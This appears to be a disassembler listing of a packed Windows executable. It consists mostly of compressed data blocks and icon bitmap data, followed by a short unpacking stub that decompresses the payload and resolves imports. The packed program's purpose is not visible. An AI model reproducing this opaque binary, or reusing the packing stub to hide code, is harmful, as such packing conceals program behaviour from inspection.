		dd 1BC9123Bh, 96D955D1h, 0C1E9AEE1h, 3DF8FEF1h,	6FC9F93Ch
		dd 87D981D1h, 0F7E9ACE1h, 27FD07F1h, 43D13AC9h,	5DE149D9h
		dd 0A2F168E9h, 0E8F9CBF9h, 5F8F5F9h, 7426723Eh,	78BA76A3h
		dd 7CCA7AC2h, 7EDA7ED2h, 7EEA7EE2h, 1CFA7EF2h, 9D0A3F02h
		dd 9E201D15h, 9F361E2Bh, 9F4C1F41h, 9F689F57h, 9F9D9F73h
		dd 9FD79FCEh, 4BDDAAE5h, 71DCC20h, 3A183039h, 3C383B28h
		dd 3E613D41h, 3F793F6Fh, 3FA13F8Ah, 0EAF3FA8h, 4E4F3124h
		dd 0CF688E5Ah, 4F780F73h, 0CF9A8F95h, 0CFE4CFD4h, 3206C3F1h
		dd 0A329931Dh, 0C341B337h, 0E37DD348h, 0F394F38Ah, 0F0E4F3DBh
		dd 0E445333Ah, 0EC61E850h, 0F47FF078h, 0FC9BF88Bh, 0FCBBFCA4h
		dd 0FCCCFCC5h, 0FCFFFCEEh, 1F34390Fh, 423B283Ah, 5A3D503Ch
		dd 823F6B3Eh, 903F893Fh, 0AE3FA53Fh, 0CA3FC13Fh, 0EE3FE53Fh
		dd 1E350B0Eh, 2992C4Eh,	0E98EE180h, 0F9A2F197h,	0F9B7F9ADh
		dd 0F9C4FDBEh, 0F8D8F9CDh, 26723617h, 38763474h, 407A3C78h
		dd 487E447Ch, 507E4C7Eh, 587E547Eh, 607E5C7Eh, 687E647Eh
		dd 707E6C7Eh, 787E747Eh, 8D7E7C7Eh, 0AF7E9C7Eh,	0DD7EB77Eh
		dd 0FE7EF97Eh, 2E37051Ch, 591D4B9Dh, 0BD1E7F9Eh, 0F41FEE9Fh
		dd 44380C87h, 0D3475527h, 1381E767h, 0CAC93039h, 0E8D9DED1h
		dd 723A12E0h, 764C742Ah, 7A66785Fh, 7E7B7C71h, 7ECF7E94h
		dd 1CFB7EDBh, 9D173B0Eh, 9E281D1Dh, 9F7E1E33h, 87F01F9Fh
		dd 274F3C04h, 6B5E4759h, 0A784E287h, 0E79AC78Dh, 0E7C8E7BFh
		dd 0E1FAE7D5h, 0C9103D03h, 0D92DD123h, 714EE142h, 0F97CF1FBh
		dd 0F9C2F981h, 3E03F8D9h, 16740A72h, 5F782A76h,	827C6D7Ah
		dd 0AC7EA77Eh, 8490D57Eh, 35742472h, 62493C76h,	3F863E7Eh
		dd 3FB73FACh, 80DC24BCh, 640C3044h, 23F00F0Fh, 0EBF95EF4h
		dd 80C372F3h, 0ADE39CD3h, 0D8F3C5F3h, 0F1F3DFF3h, 1C3105F0h
		dd 4CE843E4h, 71F059ECh, 0A5F87CF4h, 0C4FCAEFCh, 0E2FCD5FCh
		dd 0EDFCE8FCh, 0FCFCF6FCh, 323902FCh, 8C122408h, 5E1E599Eh
		dd 991F839Fh, 0A89FA29Fh, 0C49FB09Fh, 0EC9FD89Fh, 18331CB8h
		dd 241D1E9Dh, 6D957AAFh, 1AD9C90Ch, 90F0EE01h, 3AB0B395h
		dd 0AB494452h, 14AE4442h, 178CB50Dh, 0FFB8705Ch, 0F12E6B12h
		dd 630B081Fh, 4F530086h, 41575446h, 5C014552h, 7263694Dh
		dd 0C77A736Fh, 0D449A7A5h
		dd 1E14EC20h, 66A7075h,	6B4DE5BDh, 2F5D86DEh, 1FCD6F79h
		dd 7BC6DD7Bh, 78ED5D9h,	0B8575953h, 0EC5C2719h,	0D96FEE2Dh
		dd 0B76CFC08h, 0DA99EBE3h, 757379E8h, 0A0707854h, 0FF615084h
		dd 7437A63Ch, 0D651BBB7h, 1CA8661Fh, 3C68A0CCh,	7141E449h
		dd 0BF7CDF64h, 2E2A9BDCh, 1C588202h, 74B0EFD1h,	67756C7Ch
		dd 606E6936h, 48F1F526h, 0D056BE56h, 51A722F6h,	0BA4D6265h
		dd 9379BCF2h, 8AE4704Fh, 661AA573h, 36CBE443h, 0ED7C5066h
		dd 0C149ED96h, 694E782Ah, 50D3735h, 0EA6377F3h,	702F405Fh
		dd 0ABC2DC2Eh, 0E25E5B54h, 64D4FBB2h, 83A2A9F5h, 89634120h
		dd 1ABC756Fh, 0A7614D1Fh, 0B208BE42h, 30DA6C10h, 50E001A6h
		dd 333A4F72h, 0AF12DA20h, 4F1034FAh, 56DB550Fh,	708A32ADh
		dd 0A98C2FFDh, 0AB0F163h, 270C5350h, 0C2DB1BC6h, 63A63732h
		dd 3DB49A42h, 944FC3D7h, 2A8F0A6Eh, 2CD45601h, 0C9BC97D5h
		dd 0B5799D56h, 0F01A649Ah, 558D321Fh, 8BC66352h, 559E5233h
		dd 0A7093D6Eh, 0AC772BB8h, 646929C6h, 0FA449B4Ah, 20492395h
		dd 63CD93DCh, 8964063Ch, 0D472D45h, 2B0C0EF2h, 29733D28h
		dd 1E6648F4h, 0E65E6D25h, 0DBA122A1h, 32DA152Ah, 169933E1h
		dd 0D45F745Bh, 0D0583BB7h, 0EC604231h, 0E9BED76Ch, 680A66EDh
		dd 664AEF34h, 896C41C4h, 764B53B8h, 3A29CABFh, 45BC68C6h
		dd 0E35625Ah, 6D8D5D35h, 420A5662h, 0A81E548Ah,	161F8ABDh
		dd 0AE49FF7Ah, 18D1710Ah, 3C982842h, 0A6A2765Fh, 0AC282815h
		dd 0D4536268h, 88793B37h, 123AEBABh, 650672Dh, 6E70F296h
		dd 493B8542h, 94F35C14h, 91407884h, 75FBB5CFh, 7339F4A1h
		dd 123A3295h, 42767C5Eh, 54E27273h, 2D20FC68h, 0DFDE32E5h
		dd 78456021h, 939A6C70h, 272D61F9h, 285B385Ah, 4649075Dh
		dd 4C314889h, 656EE919h, 2C198A10h, 0B7A4F956h,	0A8925B4Bh
		dd 774F37B6h, 753A7AB2h, 0D283D23Fh, 671EA65Ah,	6E3C9D3Ah
		dd 7940C23Eh, 78970256h, 9B45B824h, 980E6F54h, 0B6EC9E79h
		dd 38D365D2h, 53858D52h, 89CEB875h, 3E749C3Ah, 4B2F4D57h
		dd 4024C543h, 2521412Ch, 4DC34C26h, 8FC29449h, 3112B156h
		dd 28ACA371h, 869F48EBh, 5E79542Dh, 756D26C4h, 0E68651C5h
		dd 0F52FEACCh, 929978DDh, 2309403Bh, 792460C8h,	9778223Dh
		dd 0B3EDAE72h, 8D2D0426h, 0E63E0C51h, 72786816h, 0FA6114DFh
		dd 631A3B3Eh, 0DC0F6868h, 57753DE7h, 5C1F9F2Dh,	692C6969h
		dd 0D05A20Bh, 57851E66h, 6F100445h, 72FC9664h, 0A862373Bh
		dd 0A4885874h, 27FD5049h, 0A4FF4C09h, 49531488h, 2C4C6E79h
		dd 87665A64h, 3A9A7B3Ch, 66AE114Eh, 0C5A9E787h,	0B082B7DCh
		dd 30427564h, 48307E9Ah, 75A25058h, 60683145h, 726091F4h
		dd 992B6333h, 0CF680120h, 4152C34Ah, 55F2449Ah,	5067E162h
		dd 2D7D06B4h, 8F5D3928h, 53362CDFh, 48326FB5h, 3F4D4C35h
		dd 0B487DE6Ch, 4A4B9319h, 3A16106Ch, 2C03DE8h, 4C59454Bh
		dd 9D47714Fh, 149649D0h, 6D4E5EA7h, 0DF1F0E2Fh,	1DE94E9Dh
		dd 404C4362h, 0D04F42AEh, 4968C562h, 34877C18h,	166BDF26h
		dd 785346F0h, 9621FCB1h, 0EED62368h, 0A4BEA76Eh, 57915C83h
		dd 0B286271h, 64233629h, 706B8344h, 24BF3EDFh, 0A4A46DC9h
		dd 6D1AA5A6h, 5FE64431h, 0D459C566h, 1E68798h, 0E3776B2Eh
		dd 60E7CD84h, 0FC9A7227h, 2EE86C71h, 86BA7895h,	0B37A8513h
		dd 4A4E2E19h, 7673BE31h, 7F459D6h, 2049543Ch, 313E454Ch
		dd 3CE201A5h, 571E922Fh, 651C614Eh, 37CB3334h, 0D870B30h
		dd 0F661E2CBh, 2630BED7h, 0C6426569h, 32F5102Eh, 38A6F96Bh
		dd 0A44AB86Fh, 0C49B77CAh, 73269B2Ch, 81A7F039h, 907315CEh
		dd 612EB782h, 30613533h, 32BB1C0Dh, 0BBE801A5h,	95AEC453h
		dd 41B18318h, 0E43DB6A7h, 97646724h, 2454164Ch,	2AE34F48h
		dd 1B3F9C5Ah, 4EE34E43h, 62500DE7h, 0A9BB450Ch,	2CA1563Eh
		dd 947BADA7h, 4AAC1B19h, 6EDC3B19h, 1E4DF17Fh, 0C9856645h
		dd 28F17787h, 48A13B29h, 1D12B41Ah, 761EE470h, 683785A1h
		dd 0FC3D9E68h, 483E149Fh, 9692296Dh, 1F85D208h,	425A1BA3h
		dd 0E1544335h, 43DA636Dh, 1C7C8D0Ah, 10754E63h,	7224BD92h
		dd 0A449A6FEh, 0E422A392h, 7578E06Ch, 0DABC7055h, 751424B5h
		dd 3A08FD60h, 683BAD73h, 0F784F65Bh, 5F695FA1h,	0E3144218h
		dd 0C4805E73h, 2C2F2F99h, 0D0B41764h, 0A86A0CC4h, 0A07B6425h
		dd 10F22021h, 4C796D87h, 1D5B952Dh, 0E81E2B79h,	9F98D61Ah
		dd 0AC7C7449h, 0E867A561h, 0D9A5617h, 0F0B6D8B2h, 6324F638h
		dd 276A5069h, 0E1268F76h, 4B707661h, 4A8BD73Ah,	2EE41E42h
		dd 0A1324736h, 8B272D66h, 19901D47h, 92D278FDh,	502F2794h
		dd 8BA41E46h, 0B513D09Eh, 0DD568E2Bh, 501B3AF4h, 6873704Bh
		dd 1DF26F91h, 0D6CAA41Bh, 0FB98FA86h, 0F80B794Eh, 4FA6E270h
		dd 0D21DE8F4h, 524418C0h, 4556491Dh, 892E531Eh,	0EF35431Fh
		dd 260B57F1h, 0BFCC3D97h, 2DB9CB02h, 9E74D640h,	5F6407A7h
		dd 0B579846Bh, 152AB801h, 0A4293A43h, 0B8530D3Ch, 126D71A4h
		dd 0EC38332Dh, 0AF44B303h, 250C656Bh, 4A972A4Ch, 9D055406h
		dd 69771F5Ch, 4BAD2C8Dh, 52712047h, 6D58E0B8h, 55D3BA9Ah
		dd 7553F25Ch, 20ADA068h, 340DBC46h, 69B03734h, 8B813372h
		dd 1B6F0E76h, 39FAB770h, 6252996Bh, 8274E3EFh, 0C438D73h
		dd 0A392713Ch, 2AA84B4Ch, 8D165EF7h, 2A6F2B8Bh,	5D928541h
		dd 0A33AB164h, 44A38418h, 681C7549h, 7225188Dh,	0AA73689Bh
		dd 0E84B39BCh, 2C0FBD83h, 5C2E31CAh, 9060h, 5A8C01A5h
		dd 0CA0108D0h, 66040511h, 3C642128h, 0D9445009h, 4D47044Ah
		dd 0A388A108h, 21CF194Bh, 73319965h, 93128709h,	44EA324h
		dd 9C44020Ah, 72740003h, 6E616A6Fh, 78652E1Ch, 545207B8h
		dd 7483475Fh, 7372D856h, 6E6F3869h, 3E43781Eh, 7F7D61BFh
		dd 0C66D7D52h, 1B68540Ch, 4F286463h, 0B06EFA70h, 0F069560Ch
		dd 39757974h, 1F73416Ch, 0AB45636Fh, 3C469B10h,	0C01E8Eh
		dd 0C2481C01h, 454B0340h, 4C984E52h, 2E1C3233h,	3A786C64h
		dd 706F0761h, 54076E65h, 6D757341h, 7268B1E3h, 0E16461F0h
		dd 0C374E3FFh, 4170F163h, 0FB610948h, 0BEEF4C06h, 3765B850h
		dd 0EEFE4145h, 0EF3FDF50h, 462EF960h, 76F76CF9h, 0C69681Eh
		dd 7970622Ch, 80265506h, 0EA6F5012h, 7238CE6Eh,	737F590Eh
		dd 3EEE430Eh, 482643E7h, 0D4642A3Eh, 4EC6494Bh,	0F2687953h
		dd 6944336Dh, 6FE363AAh, 148176AEh, 6BE3FB54h, 76755C34h
		dd 93736C34h, 62682849h, 0B1415185h, 7E26F4A0h,	75643F4Dh
		dd 294E7954h, 0B77D6D61h, 6E346F18h, 6026319Ah,	76631A44h
		dd 37707982h, 0F5CA5843h, 3412D75h, 7AA35323h, 4CAE21CDh
		dd 0DA7CB461h, 34F8D41Ch, 3D50D754h, 721299A7h,	12DC30A3h
		dd 0F5235151h, 0B403DD0h, 0ED647141h, 0E5530F4Ch, 0C96148F0h
		dd 1F146C60h, 6FD45250h, 4E9EB9A5h, 694C0AF0h, 0B9EEF962h
		dd 0B58557E0h, 6973776Fh, 46DB0CF5h, 8F7720D0h,	76780A4Eh
		dd 0FE9F4767h, 4C2568A1h, 6CCE4141h, 9F86956Dh,	79EE54BDh
		dd 61574F90h, 0D964121h, 2C085520h, 90AB4DA8h, 9137D253h
		dd 454899ADh, 0D0D8825h, 0A469609Dh, 0A56814A5h, 4D6F540Ch
		dd 42FA7444h, 347C796Ah, 0A88D7D53h, 0AC7845ACh, 0FFAB8611h
		dd 0AC793730h, 0E55648A7h, 91986D28h, 3753CA17h, 370C52Ch
		dd 7275436Fh, 0C46E5629h
		dd 4E644942h, 57378420h, 0C532055h, 0B7D4B7D1h,	66354F42h
		dd 1E5E1855h, 36C2676Eh, 63C31001h, 5644B9BBh, 8E4950E8h
		dd 5167AEA0h, 79FA7560h, 3E666E49h, 7C684B6Fh, 26451F11h
		dd 111934C7h, 432A0EADh, 141C8770h, 6668BF56h, 4DFE481Ch
		dd 530C0237h, 0A1198C88h, 504F9237h, 51A445EFh,	1C51F64h
		dd 57874034h, 4B434F53h, 654C86AEh, 0BFAB71DBh,	0CB501041h
		dd 98BEC6ECh, 4153C780h, 2461B7A1h, 0BA3702Dh, 6E86D440h
		dd 346917CCh, 0F48DD68h, 5CB37962h, 0EA9E37B4h,	0EF47282Eh
		dd 0CA8417A8h, 2A476C0Bh, 6F76706Bh, 5F4EA46Bh,	383B669Fh
		dd 840A6A34h, 243A64DCh, 1632138h, 5588516Ch, 1CCB6153h
		dd 72675687h, 0EE8A73C8h, 6B5E4D92h, 565067D8h,	3841796Fh
		dd 0B4D16963h, 0CE136A49h, 729C1562h, 997C9664h, 2A94A0F4h
		dd 65127069h, 9277B856h, 83A855A6h, 65F5683Ah, 729A9269h
		dd 1ED25A66h, 6BD5D01Eh, 0B24D31Ch, 0D18E3D74h,	0EA94EE49h
		dd 338E33E6h, 90804AFFh, 7CC7B411h, 0D6ED0F8Bh,	84FC9237h
		dd 7480DF67h, 2152249Ch, 65756314h, 37AF0F63h, 96E8044h
		dd 0BAC92947h, 683C248h, 2B2870AAh, 0AC6E6863h,	1C661494h
		dd 9DA63493h, 0F1120973h, 588D4A78h, 29548B36h,	1C05BA69h
		dd 464FFD1h, 0FC54D04Ch, 6675420Eh, 0F78E3D3Ah,	48912136h
		dd 0A16BC56Fh, 3CE8EF7Ch, 0CF2D5596h, 1E242009h, 444788D4h
		dd 5544A299h, 344FD48Ch, 330C6A62h, 76F244E4h, 0DC14DFE3h
		dd 0D9D57061h, 0EA71424Eh, 0D74FEA6h, 764E6261h, 422C434Ch
		dd 4344150Dh, 5355D9BFh, 15F02FA6h, 438A116Eh, 842453DAh
		dd 61AC006Dh, 732E6C14h, 0E642E9F1h, 12FC1C69h,	49A8D77h
		dd 92888AA1h, 1B8A964Bh, 494A4749h, 8BE49FAFh, 0BE0002E6h
		dd 4001A4h, 97AD93ADh, 0B29656ADh, 80B6A480h, 0F97313FFh
		dd 13FFC933h, 0C0331673h, 1F7313FFh, 0B04180B6h, 1213FF10h
		dd 75FA73C0h, 0E0EBAA3Ch, 20853FFh, 1D983F6h, 53FF0E75h
		dd 0AC26EB04h, 2F74E8D1h, 1AEBC913h, 0E0C14891h, 53FFAC08h
		dd 7D003D04h, 0A730000h, 7305FC80h, 7FF88306h, 41410277h
		dd 0B6C58B95h, 0F78B5600h, 0A4F3F02Bh, 8B9DEB5Eh, 48AD5ED6h
		dd 2790A74h, 8B5650ADh,	87EB97F2h, 465E93ADh, 0FF5697ADh
		dd 84AC9513h, 0FEFB75C0h, 79F0740Eh, 50AD4605h,	0EFE09EBh
		dd 0DFF6840Fh, 5556FFFEh, 0AB0453FFh, 0C933E0EBh, 1313FF41h
		dd 7213FFC9h, 0D202C3F8h, 168A0575h, 0C3D21246h, 13050h
		dd 2 dup(0)
		dd 154h, 13050h, 5 dup(0)
		dd 161h, 16Fh, 2 dup(0)
		dd 10000h, 20200002h, 10010h, 2E80004h,	10000h,	28h, 20h
		dd 40h,	40001h,	0
		dd 280h, 5 dup(0)
		dd 800000h, 8000h, 808000h, 80h, 800080h, 8080h, 808080h
		dd 0C0C0C0h, 0FF0000h, 0FF00h, 0FFFF00h, 0FFh, 0FF00FFh
		dd 0FFFFh, 0FFFFFFh, 4 dup(0)
		dd 88880600h, 2	dup(88888888h),	8888h, 0FFFF0600h, 2 dup(0FFFFFFFFh)
		dd 0F8FFh, 0FFFF0600h, 2 dup(0FFFFFFFFh), 0F8FFh, 0FFFF0600h
		dd 2 dup(0FFFFFFFFh), 0F8FFh, 0FFFF0600h, 2 dup(0FFFFFFFFh)
		dd 0F8FFh, 0FFFF0600h, 2 dup(0FFFFFFFFh), 0F8FFh, 0FFFF0600h
		dd 2 dup(0FFFFFFFFh), 0F8FFh, 0FFFF0600h, 0F0FFFFFFh, 0F777878h
		dd 0F8FFh, 0FFFF0600h, 0F0FFFFFFh, 0F708787h, 0F8FFh, 0FFFF0600h
		dd 0FFFFFFFFh, 0FF0F07F0h, 0F8FFh, 0FFFF0600h, 0FFFFFFh
		dd 0FF000000h, 0F8FFh, 0FFFF0600h, 780000F0h, 0F888888h
		dd 0F8FFh, 0FFFF0600h, 77777777h, 0F787777h, 0F8FFh, 0FFFF0600h
		dd 0B8B8B87Fh, 0F780FB7h, 0F8FFh, 0FFFF0600h, 8B8B8B7Fh
		dd 0F780F87h, 0F8FFh, 0FFFF0600h, 0B8B8B87Fh, 0F780FF7h
		dd 0F8FFh, 0FFFF0600h, 8B8B8B7Fh, 0F780F87h, 0F8FFh, 0FFFF0600h
		dd 0B8B8B87Fh, 0F780FB7h, 0F8FFh, 0FFFF0600h, 0FFFFFF7Fh
		dd 0F780FF7h, 0F8FFh, 0FFFF0600h, 77B8B878h, 0F080F77h
		dd 0F8FFh, 0FFFF0600h, 878BF7h,	0F080000h, 0F8FFh, 0FFFF0600h
		dd 787F77FFh, 0FF808888h, 0F8FFh, 0FFFF0600h, 0F7FFFFFFh
		dd 0FF7F7777h, 0F8FFh, 0FFFF0600h, 2 dup(0FFFFFFFFh), 0F8FFh
		dd 0FFFF0600h, 0FFFFFFFFh, 60FFFFFFh, 0
		dd 0FFFF0600h, 0FFFFFFFFh, 6FFFFFFFh, 70F8h, 0FFFF0600h
		dd 0FFFFFFFFh, 6FFFFFFFh, 87h, 0FFFF0600h, 0FFFFFFFFh
		dd 68FFFFFFh, 70h, 0FFFF0600h, 0FFFFFFFFh, 66FFFFFFh, 0
		dd 0FFFF0600h, 0FFFFFFFFh, 60FFFFFFh, 0
		dd 66660600h, 66666666h, 60666666h, 0
		dd 1Ah dup(70000E0h), 0F0000E0h, 1F0000E0h, 3F0000E0h
		dd 7F0000E0h, 0FF0000E0h, 0FF0100E0h, 0DD01A500h, 720EFF91h
		dd 860D4015h, 0C181A08h, 24103815h, 215031A3h, 40A1C30Ah
		dd 35C06906h, 15A4E1Fh,	0C10012AAh, 8BC310E8h, 42444h
		dd 0C984088Ah, 4C3A0974h, 3B0E3F5h, 0F166EB40h,	172A1Eh
		dd 0C91BD9F6h, 0C123D1F7h
		db 7, 0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		and	dword ptr [eax], 38h
		push	esi
		push	edi
		push	0Ch
		push	es
		mov	esi, 596A20DCh
		add	ecx, [ebp-5A0C1B83h]
		xchg	ax, bx
		movsb
		and	esp, [ecx]
		rcl	byte ptr [eax],	0C8h
; ---------------------------------------------------------------------------
		dd 875FF0Fh, 2CE44506h,	0E8A4500Ah, 599C8BAAh, 0C0855F40h
		dd 114745Eh, 6AE44D8Dh,	0FDC12B1Ah, 990DF483h, 8AF9F707h
		dd 0C9F21544h, 0C82BA0C3h, 0A382E850h, 844C7328h, 837F1EFFh
		dd 850845B1h, 5C8B530Ah, 0AE56890Eh, 5710A074h,	1E8AFF33h
		dd 81C08406h, 0E8465012h, 8873866Bh, 30201F04h,	75245947h
		dd 247B80EEh, 8B0E5FE0h, 745B5EC3h, 7C7D77A4h, 0F6330C1Dh
		dd 283E8C5h, 76B7FB18h,	0BE0F041Bh, 82503E04h, 662D8005h
		dd 7A9857E9h, 3B593569h, 7202F073h, 5FC78BE5h, 81DD915Eh
		dd 0C0183CBh, 0FEDEE828h, 0B7020FACh, 99046AC0h, 8D848259h
		dd 15524685h, 0E2109534h, 8474AB40h, 6AEE1484h,	0F8681014h
		dd 5C927815h, 0A4C99044h, 4802044h, 0E8815350h,	0E88FB6F9h
		dd 805EC4A3h, 0FB560CFBh, 1C118B3Ch, 3306FC84h,	225350DBh
		dd 88100843h, 3C680AFDh, 14116021h, 18642242h, 1D1F3437h
		dd 62B21329h, 0C4832174h, 75D24014h, 4A53E805h,	2FC69A20h
		dd 68EBD807h, 214BA32Ch, 0D2BA8C58h, 44532915h,	862D0C45h
		dd 9D882A8Ah, 1028321Dh, 14358B21h, 20680D8Ch, 69496A7Dh
		dd 0D60D739Ch, 25183D8Bh, 4589A901h, 75D75A99h,	0F932161Ch
		dd 0BCF41E95h, 33D12022h, 6214C8BFh, 8DB5FE55h,	18C87810h
		dd 688068E2h, 0F1026A92h, 0C01112B3h, 0A0243F22h, 6653F8FDh
		dd 0C5F0A451h, 2BF406CCh, 796FAB28h, 132C6820h,	1C2953C7h
		dd 6764A630h, 5356F060h, 16B79FA5h, 9C2AF8F5h, 0B99E0821h
		dd 3A845BE1h, 0AA41C8DAh, 9BFBA0F8h, 9956572Bh,	8697D63Bh
		dd 5251076Ah, 80B4A634h, 5BC03357h, 70C2C93Dh, 25FFCC0Dh
		dd 2024217Ch, 98ECCA6Ah, 15C042C0h, 41A16403h, 89DC81C5h
		dd 6108A225h, 3735685Bh, 98E865F0h, 515DEA1Bh, 869181FCh
		dd 150B4C44h, 7DA6640Dh, 4C680EC8h, 8B89482Ah, 1B9460F5h
		dd 547EFC89h, 865C0E50h, 0D54A128h, 6C45E398h, 7924D031h
		dd 441D3039h, 680C7517h, 58DBB06Ch, 0E8598858h,	68D7E262h
		dd 8DB86A0Ch, 0CDFD0B17h, 58A11F8Ah, 94450A40h,	0B9D039E3h
		dd 1B546C35h, 91F59C14h, 0A02A9008h, 686044CBh,	0C2330451h
		dd 2159A11h, 64A1242Fh,	89306F80h, 801D8C75h, 3A4D223Eh
		dd 89311346h, 3274C3DCh, 0F21C3C04h, 0F030138Fh, 0A1F27620h
		dd 9E91D0D5h, 0F68970A4h, 7401E8EBh, 0EE66B011h, 0EEB36D4h
		dd 0D8513C58h, 6AF5EC2Ch, 50580A12h, 5D48C212h,	20B3A804h
		dd 9881FCACh, 68699198h, 0EC398B3Dh, 98008BAh, 50884D89h
		dd 0F55E851h, 615C6185h, 0C2F45B5h, 70408894h, 6C64858Ah
		dd 0AA5C0648h, 50351BCh, 19E80641h, 8A472A49h, 1CC8A3Eh
		dd 84502A5Bh, 0C4C6C2Eh, 1AD0000h, 4020A887h, 45098806h
		dd 5320EE34h, 0FF727976h, 70F866D1h, 1F657162h,	0C676368h
		dd 50482E71h, 0E079E9F9h, 0FBED6120h, 0D7E53275h, 76EF6EA3h
		dd 66F6496Dh, 0FD14BDF7h, 4F6220CFh, 2837D52Eh,	6BEE1866h
		dd 7060637Ah, 36323D71h, 5233E635h, 6539152Ch, 1068679Dh
		dd 3433C761h, 43C0A71Dh, 78700C6Eh, 752E7A20h, 7C5A6253h
		dd 2084636Dh, 397293EEh, 845045E9h, 7894C175h, 0E47A6866h
		dd 0BED06E73h, 6358D818h, 0F4656064h, 6B6A6968h, 6E6D6C00h
		dd 7271706Fh, 75740173h, 79787776h, 4138807Ah, 45444342h
		dd 48470046h, 4C4B4A49h, 4F004E4Dh, 53525150h, 8565554h
		dd 5A595857h, 2E72450Eh, 2581786Fh, 65C6C73h, 69666611h
		dd 519062BCh, 2CBEAF2Eh, 0B5079E55h, 52870C9Ah,	8C3C5F54h
		dd 93CAED41h, 579932Ch,	336D65BEh, 4A355B32h, 1244C95h
		dd 1E00000h, 20E002E0h,	11CE10E2h, 16E80D04h, 0A47D11BEh
		dd 83287B0Eh, 8C012246h, 89100928h, 89491620h, 9FC28014h
		dd 1D801401h, 752FC9Dh,	13060241h, 2C06C0Bh, 3ABFF25h
		dd 7A40878h, 130D0282h,	783E130Ah, 8A7778Ah, 37701487h
		dd 5D3C0705h, 2886E78h,	7C6F7708h, 1CB87F08h, 8B1133B7h
		dd 52870238h, 0E8F72310h, 1EBBB420h, 6E1EB618h,	0A6DB08E0h
		dd 83A7783Ch, 0A14370F3h, 320736CAh, 0DDFE50E0h, 1F08CEA0h
		dd 0E87FFC3h, 5703FCD1h, 6CF1CAB4h, 4AD1102h, 0C4182448h
		dd 0D807FE59h, 1C010068h, 40108Ch, 52455355h, 2E1C3233h
		dd 786C64h, 72707379h, 38746E69h, 4F1E4166h, 611DFE65h
		dd 6F424667h, 1301878h,	534D4D44h, 52431056h, 5F61C054h
		dd 0E9746573h, 0C7C770D9h, 5B5F7967h, 0C127E1Fh, 646F6D66h
		dd 9EED6317h, 6C9F727Ch, 99167094h, 18496D1Eh, 756AA8FBh
		dd 6668CF73h, 26766985h, 72E81C3Fh, 68EE6D7Ah, 22F60CDDh
		dd 0DEEBE5E6h, 6737C821h, 3F21EF3Bh, 6D73B37Ch,	0F9E0E663h
		dd 6778DBC3h, 0D7581A3Eh, 9F466770h, 187451FBh,	0B67512A1h
		dd 0EF1AA6D4h, 0F01B359h, 5A9B656Ch, 7792FC76h,	0FF632491h
		dd 685F641Eh, 28886E5Bh, 0E1C63320h, 0EB874B12h, 734C354Eh
		dd 0D83949EEh, 8CD46853h, 6E82701Eh, 85416F66h,	0AE1F4D10h
		dd 0A8485CB2h, 7F5B1134h, 614E18F1h, 6F45276Dh,	0E797028h
		dd 0CC4414CFh, 0FC55F067h, 0EAC5A364h, 6F2D4052h, 63723375h
		dd 2629482Bh, 4E470E64h, 0BA2D6184h, 616BA11Bh,	0EF7A6955h
		dd 0FB966D2h, 8FF6D745h, 59515884h, 0A00B09CFh,	7357CA2Ch
		dd 0B22C6D8Ch, 63F578FDh, 8B9372A0h, 1478B727h,	8268F362h
		dd 0CC5467A6h, 96D443B8h, 570D4007h, 38384AAh, 0AABE4473h
		dd 0D5F3637Dh, 2449879h
		db 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near
		mov	esi, 4001A4h
		lodsd
		xchg	eax, ebx
		lodsd
		xchg	eax, edi
		lodsd
		push	esi
		xchg	eax, esi


loc_416C69:				; CODE XREF: start+83j
		mov	dl, 80h


loc_416C6B:				; CODE XREF: start+13j
		movsb
		mov	dh, 80h


loc_416C6E:				; CODE XREF: start+2Fj	start+72j
		call	dword ptr [ebx]
		jnb	short loc_416C6B
		xor	ecx, ecx
		call	dword ptr [ebx]
		jnb	short loc_416C8E
		xor	eax, eax
		call	dword ptr [ebx]
		jnb	short loc_416C9D
		mov	dh, 80h
		inc	ecx
		mov	al, 10h


loc_416C83:				; CODE XREF: start+2Aj
		call	dword ptr [ebx]
		adc	al, al
		jnb	short loc_416C83
		jnz	short loc_416CC7
		stosb
		jmp	short loc_416C6E
; ---------------------------------------------------------------------------


loc_416C8E:				; CODE XREF: start+19j
		call	dword ptr [ebx+8]
		add	dh, dh
		sbb	ecx, 1
		jnz	short loc_416CA6
		call	dword ptr [ebx+4]
		jmp	short loc_416CC3
; ---------------------------------------------------------------------------


loc_416C9D:				; CODE XREF: start+1Fj
		lodsb
		shr	eax, 1
		jz	short loc_416CD1
		adc	ecx, ecx
		jmp	short loc_416CC0
; ---------------------------------------------------------------------------


loc_416CA6:				; CODE XREF: start+39j
		xchg	eax, ecx
		dec	eax
		shl	eax, 8
		lodsb
		call	dword ptr [ebx+4]
		cmp	eax, 7D00h
		jnb	short loc_416CC0
		cmp	ah, 5
		jnb	short loc_416CC1
		cmp	eax, 7Fh
		ja	short loc_416CC2


loc_416CC0:				; CODE XREF: start+47j	start+57j
		inc	ecx


loc_416CC1:				; CODE XREF: start+5Cj
		inc	ecx


loc_416CC2:				; CODE XREF: start+61j
		xchg	eax, ebp


loc_416CC3:				; CODE XREF: start+3Ej
		mov	eax, ebp
		mov	dh, 0


loc_416CC7:				; CODE XREF: start+2Cj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	short loc_416C6E
; ---------------------------------------------------------------------------


loc_416CD1:				; CODE XREF: start+43j
		mov	edx, esi
		pop	esi
		lodsd
		dec	eax
		jz	short loc_416CE2
		jns	short loc_416CDC
		lodsd
		push	eax


loc_416CDC:				; CODE XREF: start+7Bj
		push	esi
		mov	esi, edx
		xchg	eax, edi
		jmp	short loc_416C69
; ---------------------------------------------------------------------------


loc_416CE2:				; CODE XREF: start+79j
		lodsd
		xchg	eax, ebx
		pop	esi


loc_416CE5:				; CODE XREF: start+96j
		inc	esi
		lodsd
		xchg	eax, edi
		push	esi
		call	dword ptr [ebx]
		xchg	eax, ebp


loc_416CEC:				; CODE XREF: start+92j	start+ADj
		lodsb
		test	al, al
		jnz	short loc_416CEC
		dec	byte ptr [esi]
		jz	short loc_416CE5
		jns	short loc_416CFC
		inc	esi
		lodsd
		push	eax
		jmp	short loc_416D05
; ---------------------------------------------------------------------------


loc_416CFC:				; CODE XREF: start+98j
		dec	byte ptr [esi]
		jz	sub_401434
		push	esi


loc_416D05:				; CODE XREF: start+9Dj
		push	ebp
		call	dword ptr [ebx+4]
		stosd
		jmp	short loc_416CEC
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 0FF41C933h, 0FFC91313h, 0C3F87213h, 575D202h, 1246168Ah
